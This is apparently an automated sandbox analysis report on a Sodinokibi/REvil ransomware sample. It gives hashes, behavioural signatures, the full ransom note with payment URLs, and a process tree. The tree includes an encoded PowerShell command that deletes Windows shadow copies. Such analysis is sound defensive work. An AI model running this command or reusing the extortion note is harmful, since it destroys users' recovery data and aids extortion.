Resubmissions

15-11-2022 15:46

221115-s7lzfsee84 10

15-11-2022 12:06

221115-n9rv9she9w 10

24-01-2022 02:17

220124-cqp2saaca8 10

Analysis

  • max time kernel
    1800s
  • max time network
    1802s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15-11-2022 12:06

General

  • Target

    372c8276ab7cad70ccf296722462d7b8727e8563c0bfe4344184e1bc3afc27fc.exe

  • Size

    166KB

  • MD5

    b67606d382f50ebf76848d023decee20

  • SHA1

    6c72756b12b03a2a594b8bb308944396438ec979

  • SHA256

    372c8276ab7cad70ccf296722462d7b8727e8563c0bfe4344184e1bc3afc27fc

  • SHA512

    8eb8f1b6e5e2ee73e5fa1fe3f6b327f2c643624c55a8d3d4f215623ce2c3f35beb84f77c17ad7f1a54b12d56a7d67882395df803e8461d3e5d5310d46fec642f

  • SSDEEP

    3072:1LFrb30BRtBZZg+i2ayy2RjLTuVyu7CJDgoMT3QIlGKeJ4aAN:ZJ0BXScFy2RsQJ8zgvKO4V

Malware Config

Extracted

Path

C:\5g8v2g6-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 5g8v2g6. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/DBE32AE741C73137 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/DBE32AE741C73137 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 0Zll2/ZgkbslgGMTmI+7NId9qjMZMercRWgjmofQrUxC/weUC2npL4KiHn8GSrGF CqrY6kMN9dFgMCp9NROs/jkxnQuv6He1QwQsLJrBu39/nNl65U8gXkTjsk+ZprrW cLKSjuAMjYptVB8kJtiOEbmxPM7Cx6jsw76V8hqDHj8thvOkVyFCFy1yvwjn5MJU /eLjfjn5DJsCIF7u7QJM/L1xgl3WS+J9INFrlgUy6Xs9O5orrcmW5crCeQFGTxbV 9l74jCVQ0CxRscGeSEdFb3NAX3lpMW5phaOQvhJ5nfWp5srUaenfWt6rmGMT3tdo FniK6RtfnPPuHEfDLkwgfhyJCtxqv/B2/hO1gMl6k2JjEpwozzxwJ7uaOiTBvTSp m+MrFguVLpSDyyNc0lbCDjWK0yZCv6SS5wG8lXtW1i6TmZd25TDG84jXWeEOL9mA z6n3Syf++zN6gyJUu+5aBefDZ0OhTc17/bjWn2IPGPRRQmox5Try7U/zU03C7Nc5 O0s7XTIKRNuE4epfx/MR4Q+ArXplbqgVLBrmoT+xTCV6d5n379blG0KvBIbLyjM0 2R+ZrPwSh/HUmqEVgQGG2jN/kUz2sheYHz5MUcb/kEBiNdnjo/RPPhw3+uSGJ7Xc goCIQt1yJiRZN3JUSvS+PvOs49EzZl6i5gTsuPa7h0ae3IQ6+4xzFm93WIOg89yV uZ8TsXxnN2GJgWUKjkY8Vy2aUM1LYuizwkVw3UtJOblfrYb5LhrgBb7dwxd2F2Bi 4BxvtqTfP/slkFtOtTaBjcyLkrPuKP5ru3L72DjnCxaE6zZ0BT95//xm/c8wyYBK ZHKH8BtwHKiZE8RQajI7gvFk9DdBTdLSMgcmhB8jcPWvUI3qYp0k5z8qAyYS47Vv Od2twp8mvWwQGBVTToBWdOiqxAms6T+EvwCJb6ErpTLK52IJRE2Psi+y/cpmU8dr NH5gQUBvd0DO4lgimq8a49kMxlyf5NQQKVNWvaKkH+HZipn0zD+ds0+UpXOa1Sag tar+1JyXcMaSkHB66xotQ0Z2zQNmxNgdmrlEVzC/5y++7WjSv+KLUu/rkYVH/xmn +I07OsKBmPIbns47hS5NmjOgjaPxDbdH97wzG5bFHNqnTWxW/+aX+TSV2zcsTU/5 uism6D5H0eRU2oC/KS4LrE497q/1tRQnjhMMocIU3lZv+1xMPJ6qLNi1A/QzNul7 rq7j6alQUbTxYitMe+b/kPyZ352h6XJLvUTR4Nx3xQZ1aFwubHHyCJ2f+TI4tvvV m8VgAjeqUN5xR5BlVJ0YXB5rxLYFM1uoff2gQL3uev8= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/DBE32AE741C73137

http://decryptor.cc/DBE32AE741C73137

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Modifies extensions of user files 5 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 11 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\372c8276ab7cad70ccf296722462d7b8727e8563c0bfe4344184e1bc3afc27fc.exe
    "C:\Users\Admin\AppData\Local\Temp\372c8276ab7cad70ccf296722462d7b8727e8563c0bfe4344184e1bc3afc27fc.exe"
    1⤵
    • Modifies extensions of user files
    • Adds Run key to start application
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2760
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:396
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:4028
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2024

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/396-132-0x0000000000000000-mapping.dmp
    • memory/396-133-0x0000023CF5E60000-0x0000023CF5E82000-memory.dmp
      Filesize

      136KB

    • memory/396-134-0x00007FF9D4410000-0x00007FF9D4ED1000-memory.dmp
      Filesize

      10.8MB

    • memory/396-135-0x00007FF9D4410000-0x00007FF9D4ED1000-memory.dmp
      Filesize

      10.8MB